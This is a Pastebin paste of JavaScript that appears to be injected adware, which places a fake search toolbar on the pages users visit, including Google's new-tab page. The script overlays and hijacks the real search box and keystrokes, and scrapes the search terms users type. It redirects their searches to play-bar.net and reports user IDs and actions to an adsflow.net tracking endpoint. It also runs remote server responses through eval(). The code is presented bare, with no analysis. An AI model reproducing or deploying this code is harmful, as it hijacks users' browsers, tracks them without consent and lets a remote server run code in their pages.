Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var ad = response.ad;
- var ad_token = response.ad_token;
- function postAction(xlog, cb, customAction) {
- var params = {"ad_id":309,"inj_id":176,"show_id":275,"user_id":12640845,"user_subid":1057907,"host":"www.google.ru","time":1468334810,"hash":"1c8551fe307381132e1cb8670bd902a9"};
- params.postActionParams = xlog;
- params.postInfo = req;
- if (customAction) {
- params.customAction = customAction;
- }
- ajax("//api1.adsflow.net/postAction", params, cb);
- }
- var appendBar = function(){
- var fn84Hjf1_html = '<span class="fn84Hjf1-ico" id="fn84Hjf1-back"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="13" width="15" x="5" y="7.1"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M18.5,11h-8.3l2.5-2.7c0.5-0.6,0.5-1.5-0.1-2s-1.5-0.5-2,0.1l-5.6,6l5.6,6c0.3,0.3,0.7,0.5,1,0.5s0.7-0.1,0.9-0.4 c0.6-0.5,0.6-1.4,0.1-2L10.2,14h8.3c0.8,0,1.5-0.7,1.5-1.5S19.3,11,18.5,11z"/></g></g></svg></span><span class="fn84Hjf1-ico" id="fn84Hjf1-forward"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="13" width="15" x="5" y="7.1"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M6.5,11h8.3l-2.5-2.7c-0.5-0.6-0.5-1.5,0.1-2s1.5-0.5,2,0.1l5.6,6l-5.6,6c-0.3,0.3-0.7,0.5-1,0.5s-0.7-0.1-0.9-0.4 c-0.6-0.5-0.6-1.4-0.1-2l2.5-2.7H6.5C5.7,14,5,13.3,5,12.5S5.7,11,6.5,11z"/></g></g></svg></span><span class="fn84Hjf1-ico" id="fn84Hjf1-refresh"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="15" width="15" x="5" y="6"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M20,12V5l-2.5,2.5C16.2,5.9,14.2,5,12.2,5C8.2,5,5,8.4,5,12.5S8.2,20,12.2,20c2,0,3.9-0.9,5.3-2.4 c0.4-0.5,0.4-1.2-0.1-1.6s-1.2-0.4-1.6,0.1c-0.9,1.1-2.3,1.7-3.7,1.7c-2.8,0-5-2.3-5-5.2s2.2-5.2,5-5.2c1.4,0,2.8,0.7,3.8,1.8 L13,12H20z"/></g></g></svg></span><div class="fn84Hjf1-input-holder"><input id="fn84Hjf1-q" type="text" name="q" placeholder="" autocomplete="off" style="width: 500px;"></div><button class="fn84Hjf1-submit-btn" type="submit"><svg style="width: 20px;margin-top:2px;" version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="18" width="18" x="3.5" y="4.6"></sliceSourceBounds></sfw></metadata><path style="fill:#fff;" d="M16.4,14.8h-0.8l-0.3-0.3c1-1.2,1.6-2.7,1.6-4.4c0-3.7-3-6.7-6.7-6.7s-6.7,3-6.7,6.7s3,6.7,6.7,6.7c1.7,0,3.2-0.6,4.4-1.6 l0.3,0.3v0.8l5.1,5.1l1.5-1.5L16.4,14.8z M10.2,14.8c-2.6,0-4.6-2.1-4.6-4.6c0-2.6,2.1-4.6,4.6-4.6c2.6,0,4.6,2.1,4.6,4.6 C14.8,12.7,12.7,14.8,10.2,14.8z"/></svg></button><i class="fn84Hjf1-ico" id="fn84Hjf1-close"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="12.9" width="13" x="6" y="7"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M14.6,12.5l3.9-3.9c0.6-0.6,0.6-1.5,0-2.1s-1.5-0.6-2.1,0l-3.9,3.9l-3.9-4C8,5.9,7,5.9,6.4,6.4C5.9,7,5.9,8,6.4,8.6 l3.9,3.9l-3.9,3.9c-0.6,0.6-0.6,1.5,0,2.1s1.5,0.6,2.1,0l3.9-3.9l3.9,3.9c0.6,0.6,1.5,0.6,2.1,0s0.6-1.5,0-2.1L14.6,12.5z"/></g></g></svg></i><ul class="fn84Hjf1-suggestions" id="fn84Hjf1-suggestions" style="display: none;"></ul>';
- var fn84Hjf1_style = '#fkDiv{position:absolute;top:0;left:0;right:0;cursor:text;bottom:0;z-index:10000000000;}body.fn84Hjf1-body{position:relative !important;top:34px !important;}#fn84Hjf1-form *, #fn84Hjf1-form {-webkit-box-sizing: content-box;-moz-box-sizing: content-box;box-sizing: content-box;}#fn84Hjf1-form{position:fixed;height:31px;left:0!important;margin:0!important;padding:0!important;width:100%!important;display:block;border-width:1px 1px 2px;border-style:solid;border-color:#ccc;white-space:nowrap;top:0;background-color:#e9e9e9;z-index:2147483644}#fn84Hjf1-form .fn84Hjf1-ico{display:inline-block;cursor:default;width:27px;height:27px;box-sizing:border-box;vertical-align:bottom;padding:0;margin:2px;box-shadow:none;float:left;text-align:center;border:1px solid transparent;text-decoration:none;color:#4e4e4e;border-radius:4px}#fn84Hjf1-form .fn84Hjf1-ico svg{}#fn84Hjf1-form .fn84Hjf1-submit-btn{margin:3px;outline:0;position:relative;cursor:pointer;height:24px;width:32px;text-align:center;line-height:16px;font-size:13px;color:#FFF;display:inline-block;float:left;padding:0;border-radius:2px;border:1px solid #3079ed;background:#498bf4}#fn84Hjf1-form .fn84Hjf1-ico:hover{border-color:#dedee0 #b5b5b5 #8a8a8a;box-shadow:1px 1px 2px rgba(88,88,88,.2);background-color:rgba(255,255,255,.3)}#fn84Hjf1-form input[type=text]{border-radius:2px;float:left;text-align:left;box-sizing:content-box;line-height:18px;height:20px;font-size:16px;font-family:Arial,Helvetica,sans-serif;color:#333;border:1px solid #a99;margin:3px 0px 0;padding:2px 5px;width:1000px;background:#fff;outline:0}#fn84Hjf1-close{position:absolute;right: 4px;top:0px;}.fn84Hjf1-input-holder{float:left;position:relative;margin-left:3px;margin-right:3px;}.fn84Hjf1-suggestions{position:absolute;left:0px;right:0px;top:34px;margin:0;background:#fff;list-style:none;padding:0;padding-left:97px;padding-right: 97px;border-bottom: 1px solid #a99;border-top: none;}.fn84Hjf1-suggestions li {text-align:left !important;color:#000 !important;height:26px;font-size:16px;line-height:26px;padding-left:5px;font-family: Arial,Helvetica,sans-serif;}.fn84Hjf1-suggestions li:hover, .fn84Hjf1-suggestions li.active {background:#a99;color:#fff !important;cursor:pointer;}';
- var fn84Hjf1_form = document.createElement("form");
- fn84Hjf1_form.id = "fn84Hjf1-form";
- fn84Hjf1_form.innerHTML = fn84Hjf1_html;
- var fn84Hjf1_styleTag = document.createElement("style");
- fn84Hjf1_styleTag.type = "text/css";
- fn84Hjf1_styleTag.innerHTML = fn84Hjf1_style;
- var keyword;
- if ((r = (document.location.search+document.location.hash).match(new RegExp('[#&?](r|q|p|qs|query|searchfor|keyword)=([^&#]*)', ''))) && (r[2].length > 0)) {
- keyword = decodeURIComponent(r[2].replace(/\+/g, '%20'));
- } else {
- var inputs = document.querySelectorAll("input");
- var inputNames = ["r", "q", "p", "qs", "query", "searchfor", "keyword", "k", "keywords", "text"];
- for (var i = 0;i<inputs.length; i++) {
- if (inputNames.indexOf(inputs[i].name) != -1) {
- keyword = inputs[i].value;
- break;
- }
- }
- }
- document.body.classList.add("fn84Hjf1-body");
- document.body.appendChild(fn84Hjf1_styleTag);
- document.body.appendChild(fn84Hjf1_form);
- document.getElementById("fn84Hjf1-q").value = keyword;
- if (document.location.href.indexOf("/chrome/newtab?")) {
- var gform = document.getElementById("f");
- if (gform) {
- var fkDiv = document.createElement("div");
- fkDiv.id="fkDiv";
- document.getElementById("f").appendChild(fkDiv);
- document.getElementById("f").style.position = "relative";
- fkDiv.onclick = function() {
- document.getElementById("fn84Hjf1-q").focus()
- }
- }
- }
- document.getElementById("fn84Hjf1-back").onclick = function(){
- window.history.back();
- }
- document.getElementById("fn84Hjf1-forward").onclick = function(){
- window.history.forward();
- }
- document.getElementById("fn84Hjf1-refresh").onclick = function(){
- window.location.reload();
- }
- function doSearch(query) {
- var fr = "gr";
- window.open("http://play-bar.net/search/?q="+query+"&fr="+fr);
- searchCount++;
- postAction(searchCount.toString());
- closeCount=closeCount-2;
- if (closeCount<0) closeCount = 0;
- localStorage.setItem("fn84Hjf1-closed-count", closeCount);
- return false;
- }
- var closed,
- timer,
- shownSuggestions,
- searchInput = document.getElementById("fn84Hjf1-q"),
- suggestionsUl = document.getElementById("fn84Hjf1-suggestions");
- searchInput.focus();
- document.getElementById("fn84Hjf1-form").onsubmit = function(event){
- event.preventDefault();
- var query = document.getElementById("fn84Hjf1-q").value;
- doSearch(query);
- }
- document.getElementById("fn84Hjf1-close").onclick = function(){
- postAction('close',null,'closed');
- document.body.classList.remove("fn84Hjf1-body");
- fn84Hjf1_form.style.display="none";
- localStorage.setItem("fn84Hjf1-closed-count", closeCount+1);
- }
- function initSuggestions(){
- searchInput.oninput = function(){
- if (timer != undefined) {
- clearTimeout(timer);
- }
- var query = this.value;
- if ((query == "") || (query.length < 2)) {
- suggestionsUl.style.display = "none";
- return;
- }
- timer = setTimeout(function () {
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function(){
- if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
- callback(eval("(" + xmlhttp.responseText + ")"));
- }
- }
- function callback(data){
- var count = 4;
- suggestionsUl.innerHTML = "";
- data = data[1];
- if (data.length == 0) {
- suggestionsUl.style.display = "none";
- shownSuggestions = false;
- return;
- }
- for (var i = 0; i < data.length; i++) {
- if (i >= count)
- break;
- var value = data[i];
- var li = document.createElement("li");
- li.class="suggestion";
- li.id = "suggestion-"+i;
- li.setAttribute("data-value", value);
- li.onclick = function(){
- doSearch(this.getAttribute("data-value"));
- }
- li.innerHTML = value.replace(query, "<strong>" + query + "</strong>");
- suggestionsUl.appendChild(li);
- }
- suggestionsUl.style.display = "block";
- shownSuggestions = true;
- }
- xmlhttp.open("GET", "//secure-finder.com/suggestions.php?q=" + query, true);
- xmlhttp.send();
- }, 500);
- }
- function closest(el, selector) {
- var matches = el.webkitMatchesSelector ? 'webkitMatchesSelector' : (el.msMatchesSelector ? 'msMatchesSelector' : 'matches');
- while (el.parentElement) {
- if (el[matches](selector)) return el;
- el = el.parentElement;
- }
- return null;
- }
- window.onkeydown = function (event) {
- if (!closed) {
- document.getElementById("fn84Hjf1-q").focus()
- }
- if (!shownSuggestions)
- return;
- var code = event.which,
- up = true;
- if ((code != 38) && (code != 40) && (code != 27))
- return;
- event.preventDefault();
- if (code == 40)
- up = false;
- if (code == 27) {
- suggestionsUl.style.display = "none";
- shownSuggestions = false;
- return;
- }
- var count = suggestionsUl.querySelectorAll("li").length,
- current = document.querySelector(".active");
- if (!current) {
- currentCount = -1;
- } else {
- currentCount = current.id.replace("suggestion-", "");
- current.classList.remove("active");
- }
- if (up) {
- if (currentCount > 0){
- currentCount--;
- } else {
- return;
- }
- } else {
- if(currentCount != count - 1)
- currentCount++
- }
- current = document.getElementById("suggestion-"+currentCount);
- current.classList.add("active");
- searchInput.value = current.getAttribute("data-value");
- }
- document.onclick = function(event){
- if (shownSuggestions) {
- if (!closest(event.target, ".fn84Hjf1-input-holder")) {
- suggestionsUl.style.display = "none";
- shownSuggestions = false;
- }
- }
- }
- }
- initSuggestions();
- }
- function checkReady(){
- if (document.body) {
- appendBar();
- } else {
- document.addEventListener("DOMContentLoaded", appendBar);
- }
- }
- var closeCount = parseInt(localStorage.getItem("fn84Hjf1-closed-count"));
- if (!closeCount) closeCount = 0;
- var searchCount = 0;
- if (closeCount < 12) {
- checkReady();
- } else {
- postAction('disabled',null,'disabled');
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement